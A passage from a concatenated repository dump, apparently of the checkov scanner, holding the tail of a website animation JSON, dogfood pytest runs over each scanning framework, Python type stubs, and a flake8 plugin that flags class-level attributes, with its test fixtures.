sing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".checkov-code-text","selectorGuids":["9cf215c9-9bbe-4ff3-dca3-23341a15f432"]},"value":1,"unit":""}},{"id":"a-2-n-6","actionTypeId":"STYLE_OPACITY","config":{"delay":500,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".checkov-code-img","selectorGuids":["98290caf-0866-1904-43f9-c03577b817ab"]},"value":1,"unit":""}}]},{"actionItems":[{"id":"a-2-n-10","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".btns-container.in-checkov-code","selectorGuids":["2af483a4-c642-da37-0305-c6185e1d209b","a4567fdf-32c4-ff65-ac5e-d5873900eaa3"]},"value":1,"unit":""}}]}],"createdOn":1578559467303,"useFirstGroupAsInitialState":true},"a-3":{"id":"a-3","title":"Features Into View","actionItemGroups":[{"actionItems":[{"id":"a-3-n-10","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".features-slider","selectorGuids":["dee3d9e6-6f8b-da30-5c66-d146d502b996"]},"value":0,"unit":""}},{"id":"a-3-n-21","actionTypeId":"GENERAL_DISPLAY","config":{"delay":0,"easing":"","duration":0,"value":"none","target":{"useEventTarget":"CHILDREN","selector":".features-slider","selectorGuids":["dee3d9e6-6f8b-da30-5c66-d146d502b996"]}}},{"id":"a-3-n-16","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|eac2d68d-fc11-a94e-75d2-6f14c0932f0b"},"value":0,"unit":""}},{"id":"a-3-n-15","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|786a4522-3a62-400e-500f-cf34d06f2c1a"},"value":0,"unit":""}},{"id":"a-3-n-14","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|5632d8de-e193-d205-fa3f-a5d5822de46c"},"value":0,"unit":""}},{"id":"a-3-n-13","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|36de43b8-a2aa-a879-e225-cfebb5a84785"},"value":0,"unit":""}},{"id":"a-3-n-2","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".main-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25"]},"value":0,"unit":""}}]},{"actionItems":[{"id":"a-3-n-22","actionTypeId":"GENERAL_DISPLAY","config":{"delay":0,"easing":"","duration":0,"value":"block","target":{"useEventTarget":"CHILDREN","selector":".features-slider","selectorGuids":["dee3d9e6-6f8b-da30-5c66-d146d502b996"]}}}]},{"actionItems":[{"id":"a-3-n-4","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".main-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25"]},"value":1,"unit":""}},{"id":"a-3-n-12","actionTypeId":"STYLE_OPACITY","config":{"delay":150,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".features-slider","selectorGuids":["dee3d9e6-6f8b-da30-5c66-d146d502b996"]},"value":1,"unit":""}},{"id":"a-3-n-17","actionTypeId":"STYLE_OPACITY","config":{"delay":150,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|36de43b8-a2aa-a879-e225-cfebb5a84785"},"value":1,"unit":""}},{"id":"a-3-n-18","actionTypeId":"STYLE_OPACITY","config":{"delay":300,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|5632d8de-e193-d205-fa3f-a5d5822de46c"},"value":1,"unit":""}},{"id":"a-3-n-19","actionTypeId":"STYLE_OPACITY","config":{"delay":450,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|786a4522-3a62-400e-500f-cf34d06f2c1a"},"value":1,"unit":""}},{"id":"a-3-n-20","actionTypeId":"STYLE_OPACITY","config":{"delay":600,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|eac2d68d-fc11-a94e-75d2-6f14c0932f0b"},"value":1,"unit":""}}]}],"createdOn":1578560165547,"useFirstGroupAsInitialState":true},"a-4":{"id":"a-4","title":"Source Into View","actionItemGroups":[{"actionItems":[{"id":"a-4-n-10","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".sources-slider","selectorGuids":["d19c9961-8580-cd1c-e7e7-60c19c561da3"]},"value":0,"unit":""}},{"id":"a-4-n-19","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|812568cb-81e5-4e69-8c5e-fc7c8f2bd132"},"value":0,"unit":""}},{"id":"a-4-n-17","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|2ac28bf5-1bfc-5d49-bc10-b77ba1199591"},"value":0,"unit":""}},{"id":"a-4-n-15","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|0384ec2a-14a0-3cc7-db9d-2cf6f9d474fa"},"value":0,"unit":""}},{"id":"a-4-n-13","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|5337569e-977b-a63c-3e01-5531a222e14d"},"value":0,"unit":""}},{"id":"a-4-n-2","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".main-title.center-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25","086621c7-6161-019a-5fcc-e47e0055b849"]},"value":0,"unit":""}}]},{"actionItems":[{"id":"a-4-n-4","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".main-title.center-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25","086621c7-6161-019a-5fcc-e47e0055b849"]},"value":1,"unit":""}},{"id":"a-4-n-12","actionTypeId":"STYLE_OPACITY","config":{"delay":150,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".sources-slider","selectorGuids":["d19c9961-8580-cd1c-e7e7-60c19c561da3"]},"value":1,"unit":""}},{"id":"a-4-n-14","actionTypeId":"STYLE_OPACITY","config":{"delay":150,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|5337569e-977b-a63c-3e01-5531a222e14d"},"value":1,"unit":""}},{"id":"a-4-n-16","actionTypeId":"STYLE_OPACITY","config":{"delay":300,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|0384ec2a-14a0-3cc7-db9d-2cf6f9d474fa"},"value":1,"unit":""}},{"id":"a-4-n-18","actionTypeId":"STYLE_OPACITY","config":{"delay":450,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|2ac28bf5-1bfc-5d49-bc10-b77ba1199591"},"value":1,"unit":""}},{"id":"a-4-n-20","actionTypeId":"STYLE_OPACITY","config":{"delay":600,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","id":"5e11d9110227d065447b0858|812568cb-81e5-4e69-8c5e-fc7c8f2bd132"},"value":1,"unit":""}}]}],"createdOn":1578560443086,"useFirstGroupAsInitialState":true},"a-5":{"id":"a-5","title":"Twitter Into View","actionItemGroups":[{"actionItems":[{"id":"a-5-n","actionTypeId":"TRANSFORM_MOVE","config":{"delay":0,"easing":"","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".main-title.center-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25","086621c7-6161-019a-5fcc-e47e0055b849"]},"yValue":-200,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-5-n-4","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".twitter-container","selectorGuids":["c6ac2b7c-c72e-da87-4e3c-889195acdc58"]},"value":0,"unit":""}},{"id":"a-5-n-3","actionTypeId":"TRANSFORM_MOVE","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".twitter-container","selectorGuids":["c6ac2b7c-c72e-da87-4e3c-889195acdc58"]},"yValue":200,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-5-n-2","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".main-title.center-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25","086621c7-6161-019a-5fcc-e47e0055b849"]},"value":0,"unit":""}}]},{"actionItems":[{"id":"a-5-n-5","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".main-title.center-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25","086621c7-6161-019a-5fcc-e47e0055b849"]},"value":1,"unit":""}},{"id":"a-5-n-6","actionTypeId":"TRANSFORM_MOVE","config":{"delay":0,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".main-title.center-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25","086621c7-6161-019a-5fcc-e47e0055b849"]},"yValue":0,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-5-n-7","actionTypeId":"STYLE_OPACITY","config":{"delay":150,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".twitter-container","selectorGuids":["c6ac2b7c-c72e-da87-4e3c-889195acdc58"]},"value":1,"unit":""}},{"id":"a-5-n-8","actionTypeId":"TRANSFORM_MOVE","config":{"delay":150,"easing":"outExpo","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".twitter-container","selectorGuids":["c6ac2b7c-c72e-da87-4e3c-889195acdc58"]},"yValue":0,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}}]}],"createdOn":1578561003005,"useFirstGroupAsInitialState":true},"a-6":{"id":"a-6","title":"Community Into View","actionItemGroups":[{"actionItems":[{"id":"a-6-n-4","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".btns-container.ic-community","selectorGuids":["2af483a4-c642-da37-0305-c6185e1d209b","b32acfb1-3340-1b29-63d6-053cd4897c5b"]},"value":0,"unit":""}},{"id":"a-6-n-2","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".main-title.center-title.community-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25","086621c7-6161-019a-5fcc-e47e0055b849","ceb78c4e-306b-dd1e-6dc6-78600d8dbbb3"]},"value":0,"unit":""}}]},{"actionItems":[{"id":"a-6-n-5","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".main-title.center-title.community-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25","086621c7-6161-019a-5fcc-e47e0055b849","ceb78c4e-306b-dd1e-6dc6-78600d8dbbb3"]},"value":1,"unit":""}},{"id":"a-6-n-8","actionTypeId":"STYLE_OPACITY","config":{"delay":150,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".btns-container.ic-community","selectorGuids":["2af483a4-c642-da37-0305-c6185e1d209b","b32acfb1-3340-1b29-63d6-053cd4897c5b"]},"value":1,"unit":""}}]}],"createdOn":1578561260167,"useFirstGroupAsInitialState":true}},"site":{"mediaQueries":[{"key":"main","min":992,"max":10000},{"key":"medium","min":768,"max":991},{"key":"small","min":480,"max":767},{"key":"tiny","min":0,"max":479}]}} ); ================================================ FILE: dogfood_tests/pytest.ini ================================================ [pytest] addopts = -n 2 --dist load -vv ================================================ FILE: dogfood_tests/test_checkov_dogfood.py ================================================ from __future__ import annotations import logging from pathlib import Path from typing import TYPE_CHECKING import pytest from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.runner_registry import RunnerRegistry from checkov.main import DEFAULT_RUNNERS from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from _pytest.logging import LogCaptureFixture TESTS_DIR = Path(__file__).parent.parent / "tests" def test_all_frameworks_are_tested() -> None: # given checkov_runners = {value for attr, value in CheckType.__dict__.items() if not attr.startswith("__")} # remove frameworks, which are not applicable checkov_runners.difference_update( { CheckType.BITBUCKET_CONFIGURATION, CheckType.GITHUB_CONFIGURATION, CheckType.GITLAB_CONFIGURATION, CheckType.JSON, CheckType.SCA_IMAGE, CheckType.SCA_PACKAGE, CheckType.YAML, } ) assert checkov_runners == { CheckType.ANSIBLE, CheckType.ARGO_WORKFLOWS, CheckType.ARM, CheckType.AZURE_PIPELINES, CheckType.BICEP, CheckType.BITBUCKET_PIPELINES, CheckType.CDK, CheckType.CIRCLECI_PIPELINES, CheckType.CLOUDFORMATION, CheckType.DOCKERFILE, CheckType.GITHUB_ACTIONS, CheckType.GITLAB_CI, CheckType.HELM, CheckType.KUBERNETES, CheckType.KUSTOMIZE, CheckType.OPENAPI, CheckType.SAST, CheckType.SAST_JAVA, CheckType.SAST_PYTHON, CheckType.SAST_JAVASCRIPT, CheckType.SAST_TYPESCRIPT, CheckType.SAST_GOLANG, CheckType.SECRETS, CheckType.SERVERLESS, CheckType.TERRAFORM, CheckType.TERRAFORM_JSON, CheckType.TERRAFORM_PLAN, CheckType.POLICY_3D }, "Don't forget to add a test case for the new runner here" def test_ansible_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.ANSIBLE) def test_argo_workflows_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.ARGO_WORKFLOWS) def test_arm_framework(caplog: LogCaptureFixture) -> None: excluded_paths = ["arm/parser/examples/json/with_comments.json$"] run_framework_test(caplog=caplog, framework=CheckType.ARM, excluded_paths=excluded_paths) def test_azure_pipelines_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.AZURE_PIPELINES) def test_bicep_framework(caplog: LogCaptureFixture) -> None: excluded_paths = ["bicep/examples/malformed.bicep$"] run_framework_test(caplog=caplog, framework=CheckType.BICEP, excluded_paths=excluded_paths) def test_bitbucket_pipelines_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.BITBUCKET_PIPELINES) @pytest.mark.xfail(reason="locally it works, but in CI no results") def test_cdk_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.CDK) def test_circleci_pipelines_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.CIRCLECI_PIPELINES) def test_cloudformation_framework(caplog: LogCaptureFixture) -> None: excluded_paths = [ "cloudformation/parser/cfn_bad_name.yaml$", "cloudformation/parser/cfn_with_ref_bad.yaml$", "cloudformation/parser/success_triple_quotes_string.json$", "cloudformation/runner/resources/invalid.json$", "cloudformation/runner/resources/invalid.yaml$", "cloudformation/runner/resources/invalid_properties.json$", "cloudformation/runner/resources/invalid_properties.yaml$", ] run_framework_test(caplog=caplog, framework=CheckType.CLOUDFORMATION, excluded_paths=excluded_paths) def test_dockerfile_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.DOCKERFILE) def test_github_actions_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.GITHUB_ACTIONS) def test_gitlab_ci_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.GITLAB_CI) def test_helm_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.HELM) def test_kubernetes_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.KUBERNETES) @pytest.mark.skip(reason="kustomize needs a context to do a proper scan, which is hard to set here") def test_kustomize_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.KUSTOMIZE) def test_openapi_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.OPENAPI) def test_secrets_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.SECRETS) def test_serverless_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.SERVERLESS) def test_terraform_framework(caplog: LogCaptureFixture) -> None: excluded_paths = [ "terraform/runner/resources/example/invalid.tf$", "terraform/runner/resources/invalid_terraform_syntax/bad_tf_1.tf$", "terraform/runner/resources/invalid_terraform_syntax/bad_tf_2.tf$", "terraform/runner/resources/unbalanced_eval_brackets/main.tf$", "terraform/runner/resources/hcl_timeout/main.tf$", "terraform/parser/resources/hcl_timeout/main.tf$", ] run_framework_test(caplog=caplog, framework=CheckType.TERRAFORM, excluded_paths=excluded_paths) def test_terraform_json_framework(caplog: LogCaptureFixture) -> None: run_framework_test(caplog=caplog, framework=CheckType.TERRAFORM_JSON) def test_terraform_plan_framework(caplog: LogCaptureFixture) -> None: excluded_paths = [ "arm/parser/examples/json/with_comments.json$", "cloudformation/parser/fail.json$", "cloudformation/parser/success_triple_quotes_string.json$", "cloudformation/runner/resources/invalid.json$", ] run_framework_test(caplog=caplog, framework=CheckType.TERRAFORM_PLAN, excluded_paths=excluded_paths) def run_framework_test(caplog: LogCaptureFixture, framework: str, excluded_paths: list[str] | None = None) -> None: # given caplog.set_level(logging.ERROR) runner_registry = RunnerRegistry( "", RunnerFilter(framework=[framework], excluded_paths=excluded_paths), *DEFAULT_RUNNERS ) # when scan_reports = runner_registry.run(root_folder=str(TESTS_DIR)) # then for report in scan_reports: assert report.failed_checks assert not report.parsing_errors, f"Found parsing errors for framework '{report.check_type}'" assert not caplog.text, caplog.text ================================================ FILE: extra_stubs/boolean/__init__.pyi ================================================ from .boolean import BooleanAlgebra, Expression __all__ = [ "BooleanAlgebra", "Expression", ] ================================================ FILE: extra_stubs/boolean/boolean.py ================================================ class BooleanAlgebra: ... class Expression: ... ================================================ FILE: extra_stubs/docker/__init__.pyi ================================================ from .client import DockerClient, from_env __all__ = [ "from_env", ] ================================================ FILE: extra_stubs/docker/client.pyi ================================================ from typing import Any from .models.images import ImageCollection class DockerClient: @classmethod def from_env(cls, **kwargs: Any) -> DockerClient: ... @property def images(self) -> ImageCollection: ... from_env = DockerClient.from_env ================================================ FILE: extra_stubs/docker/models/images.pyi ================================================ from typing import Any class Image: attrs: dict[str, Any] @property def id(self) -> str: ... # is actually defined in its parent class 'Model' @property def short_id(self) -> str: ... class ImageCollection: def get(self, name: str) -> Image: ... def pull(self, repository: str, tag: str | None= ..., all_tags: bool = ..., **kwargs: Any) -> Image: ... ================================================ FILE: extra_stubs/dockerfile_parse/__init__.pyi ================================================ from .parser import DockerfileParser __all__ = [ "DockerfileParser", ] ================================================ FILE: extra_stubs/dockerfile_parse/constants.pyi ================================================ from typing_extensions import Literal COMMENT_INSTRUCTION: Literal["COMMENT"] ================================================ FILE: extra_stubs/dockerfile_parse/parser.pyi ================================================ from typing import TextIO from typing_extensions import TypedDict class _Instruction(TypedDict): instruction: str startline: int endline: int content: str value: str class DockerfileParser: def __init__( self, path: str | None = ..., cache_content: bool = ..., env_replace: bool = ..., parent_env: dict[str, str] | None = None, fileobj: TextIO | None = None, build_args: dict[str, str] | None = None, ) -> None: ... @property def lines(self) -> list[str]: ... @property def structure(self) -> list[_Instruction]: ... ================================================ FILE: extra_stubs/junit_xml/__init__.pyi ================================================ from typing import Any class TestSuite: def __init__( self, name: str, test_cases: list[TestCase] | None = ..., hostname: str | None = ..., id: str | None = ..., package: str | None = ..., timestamp: str | None = ..., properties: dict[str, Any] | None =None, file: str | None = ..., log: str | None = ..., url: str | None = ..., stdout: str | None = ..., stderr: str | None = ..., ) -> None: ... class TestCase: def __init__( self, name: str, classname: str | None = ..., elapsed_sec: float | None = ..., stdout: str | None = ..., stderr: str | None = ..., assertions: int | None = ..., timestamp: str | None = ..., status: str | None = ..., category: str | None = ..., file: str | None = ..., line: str | None = ..., log: str | None = ..., url: str | None = ..., allow_multiple_subelements: bool = ..., ) -> None: ... def add_error_info( self, message: str | None = ..., output: str | None = ..., failure_type: str | None = ... ) -> None: ... def add_failure_info( self, message: str | None = ..., output: str | None = ..., failure_type: str | None = ... ) -> None: ... def add_skipped_info(self, message: str | None = ..., output: str | None = ...) -> None: ... def to_xml_report_string(test_suites: list[TestSuite], prettyprint: bool = ..., encoding: str | None = ...) -> str: ... ================================================ FILE: extra_stubs/license_expression/__init__.pyi ================================================ from pathlib import Path from typing import Any from boolean import BooleanAlgebra, Expression as LicenseExpression class Licensing(BooleanAlgebra): def parse( self, expression: bytes | str | LicenseExpression | None, validate: bool = ..., strict: bool = ..., simple: bool = ..., **kwargs: Any, ) -> LicenseExpression | None: ... def get_spdx_licensing(license_index_location: str | Path = ...) -> Licensing: ... ================================================ FILE: flake8_plugins/__init__.py ================================================ ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/__init__.py ================================================ ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes/__init__.py ================================================ __version__ = '0.1.0' ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes/checker.py ================================================ import ast from typing import Generator, Tuple, List from . import __version__ as version from . model_parts_info import get_model_parts_info from . class_members_errors import get_class_members_errors class ClassAttributesChecker: name = 'flake8-class-attributes' version = version options = None def __init__(self, tree, filename: str): self.filename = filename self.tree = tree @classmethod def add_options(cls, parser) -> None: parser.add_option( '--use-class-attributes-order-strict-mode', action='store_true', parse_from_config=True, help='Require more strict order of private class members', ) parser.add_option( '--class-attributes-order', comma_separated_list=True, parse_from_config=True, help='Comma-separated list of class attributes to ' 'configure order manually', ) @classmethod def parse_options(cls, options: str) -> None: cls.options = options def run(self) -> Generator[Tuple[int, int, str, type], None, None]: classes = [n for n in ast.walk(self.tree) if isinstance(n, ast.ClassDef)] errors: List[Tuple[int, int, str]] = [] for class_def in classes: model_parts_info = get_model_parts_info(class_def) errors += get_class_members_errors(model_parts_info, class_def) for lineno, col_offset, error_msg in errors: yield lineno, col_offset, error_msg, type(self) ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes/class_members_errors.py ================================================ from __future__ import annotations import ast from typing import Any FORBIDDEN_TYPES = { "field", } SKIP_SPECIAL_ATTRIBUTES = { "__code__", "__slots__", } SKIP_TYPING_CLASSES = { "Protocol", "TypedDict", } def get_class_members_errors( model_parts_info: list[dict[str, Any]], class_def: ast.ClassDef ) -> list[tuple[int, int, str]]: errors: list[tuple[int, int, str]] = [] if skip_dataclasses(class_def): return errors if skip_typed_dicts(class_def): return errors for model_part in model_parts_info: if model_part['type'] in FORBIDDEN_TYPES: node_name = get_node_name(model_part['node'], model_part['type']) if node_name in SKIP_SPECIAL_ATTRIBUTES: continue errors.append((model_part['node'].lineno, model_part['node'].col_offset, f"CCE003 Class level {model_part['type']} '{node_name}' detected in class {model_part['model_name']}",)) return errors def skip_dataclasses(class_def: ast.ClassDef) -> bool: if class_def.decorator_list is not None: for decorator in class_def.decorator_list: if not isinstance(decorator, ast.Name): return True if decorator.id == 'dataclass': return True return False def skip_typed_dicts(class_def: ast.ClassDef) -> bool: if class_def.bases: for base in class_def.bases: if not isinstance(base, ast.Name): return True if base.id in SKIP_TYPING_CLASSES: return True return False def get_node_name(node, node_type: str): special_methods_names = ( '__new__', '__init__', '__post_init__', '__str__', 'save', 'delete', ) name_getters_by_type = [ ('docstring', lambda n: 'docstring'), ('meta_class', lambda n: 'Meta'), ('constant', lambda n: n.target.id if isinstance(n, ast.AnnAssign) else n.targets[0].id), # type: ignore ('field', get_name_for_field_node_type), (('method',) + special_methods_names, lambda n: n.name), ('nested_class', lambda n: n.name), ('expression', lambda n: ''), ('if', lambda n: 'if ...'), ] for type_postfix, name_getter in name_getters_by_type: if node_type.endswith(type_postfix): # type: ignore return name_getter(node) def get_name_for_field_node_type(node: ast.Assign | ast.AnnAssign) -> str: name = '' if isinstance(node, ast.AnnAssign): name = node.target.id if isinstance(node.target, ast.Name) else name elif isinstance(node.targets[0], ast.Name): name = node.targets[0].id elif hasattr(node.targets[0], 'attr'): name = node.targets[0].attr # type: ignore elif isinstance(node.targets[0], ast.Tuple): name = ', '.join([e.id for e in node.targets[0].elts if isinstance(e, ast.Name)]) return name ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes/model_parts_info.py ================================================ import ast def get_model_parts_info(model_ast): parts_info = [] for child_node in model_ast.body: node_type = get_model_node_type(child_node) parts_info.append({ 'model_name': model_ast.name, 'node': child_node, 'type': node_type }) return parts_info def get_model_node_type(child_node) -> str: direct_node_types_mapping = [ (ast.If, lambda n: 'if'), (ast.Pass, lambda n: 'pass'), ((ast.Assign, ast.AnnAssign), lambda n: get_assighment_type(n)), ((ast.FunctionDef, ast.AsyncFunctionDef), lambda n: get_funcdef_type(n)), (ast.Expr, lambda n: 'docstring' if isinstance(n.value, ast.Str) else 'expression'), (ast.ClassDef, lambda n: 'meta_class' if child_node.name == 'Meta' else 'nested_class'), ] for type_or_type_tuple, type_getter in direct_node_types_mapping: if isinstance(child_node, type_or_type_tuple): # type: ignore return type_getter(child_node) def get_assighment_type(child_node) -> str: assignee_node = child_node.target if isinstance(child_node, ast.AnnAssign) else child_node.targets[0] assighment_type = 'field' if isinstance(assignee_node, ast.Subscript): assighment_type = 'expression' if isinstance(assignee_node, ast.Name) and is_caps_lock_str(assignee_node.id): assighment_type = 'constant' if isinstance(child_node.value, ast.Call): dump_callable = ast.dump(child_node.value.func) if ( 'ForeignKey' in dump_callable or 'ManyToManyField' in dump_callable or 'OneToOneField' in dump_callable or 'GenericRelation' in dump_callable ): assighment_type = 'outer_field' return assighment_type def get_funcdef_type(child_node) -> str: special_methods_names = { '__new__', '__init__', '__post_init__', '__str__', 'save', 'delete', } decorator_names_to_types_map = { 'property': 'property_method', 'cached_property': 'property_method', 'staticmethod': 'static_method', 'classmethod': 'class_method', 'private_property': 'private_property_method', 'private_cached_property': 'private_property_method', 'private_staticmethod': 'private_static_method', 'private_classmethod': 'private_class_method', } for decorator_info in child_node.decorator_list: if ( isinstance(decorator_info, ast.Name) and decorator_info.id in decorator_names_to_types_map ): if child_node.name.startswith('_'): return decorator_names_to_types_map[f'private_{decorator_info.id}'] return decorator_names_to_types_map[decorator_info.id] funcdef_type = 'method' if child_node.name in special_methods_names: funcdef_type = child_node.name elif child_node.name.startswith('__') and child_node.name.endswith('__'): funcdef_type = 'magic_method' elif child_node.name.startswith('_'): funcdef_type = 'private_method' return funcdef_type def is_caps_lock_str(var_name: str) -> bool: return var_name.upper() == var_name ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/tests/__init__.py ================================================ ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/tests/conftest.py ================================================ import ast import os from flake8.options.manager import OptionManager from flake8_plugins.flake8_class_attributes_plugin.flake8_class_attributes.checker import ClassAttributesChecker def run_validator_for_test_file(filename, max_annotations_complexity=None, strict_mode=False, attributes_order=None): test_file_path = os.path.join( os.path.dirname(os.path.abspath(__file__)), 'test_files', filename, ) with open(test_file_path, 'r') as file_handler: raw_content = file_handler.read() tree = ast.parse(raw_content) options = OptionManager('flake8_class_attributes_order', '0.1.3') options.use_class_attributes_order_strict_mode = strict_mode options.class_attributes_order = attributes_order ClassAttributesChecker.parse_options(options) checker = ClassAttributesChecker(tree=tree, filename=filename) if max_annotations_complexity: checker.max_annotations_complexity = max_annotations_complexity return list(checker.run()) ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/tests/test_files/__init__.py ================================================ ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/tests/test_files/class_attribute_fail.py ================================================ class A: class_attribute: str = "error" @classmethod def _get_favicon_path(cls, object_name: str): pass def get_tabs_info(self): pass ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/tests/test_files/class_const_pass.py ================================================ class A: CLASS_CONST = "ok" @classmethod def _get_favicon_path(cls, object_name: str): pass def get_tabs_info(self): pass ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/tests/test_files/class_special_attributes_pass.py ================================================ class A: __slots__ = ("some_attr") @classmethod def _get_favicon_path(cls, object_name: str): pass def get_tabs_info(self): pass ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/tests/test_files/dataclass_skip.py ================================================ from dataclasses import dataclass @dataclass class A: class_attribute: str = "skip and pass" @classmethod def _get_favicon_path(cls, object_name: str): pass def get_tabs_info(self): pass ================================================ FILE: flake8_plugins/flake8_class_attributes_plugin/tests/test_files/typing_class_skip.py ================================================ from typing_extensions import TypedDict, Protocol class ExampleTypedDict(TypedDict): attr_1: str attr_2: int class ExampleProtocol(Protocol): attr: str def do_something(self) -> str: ... ================================================ FILE: 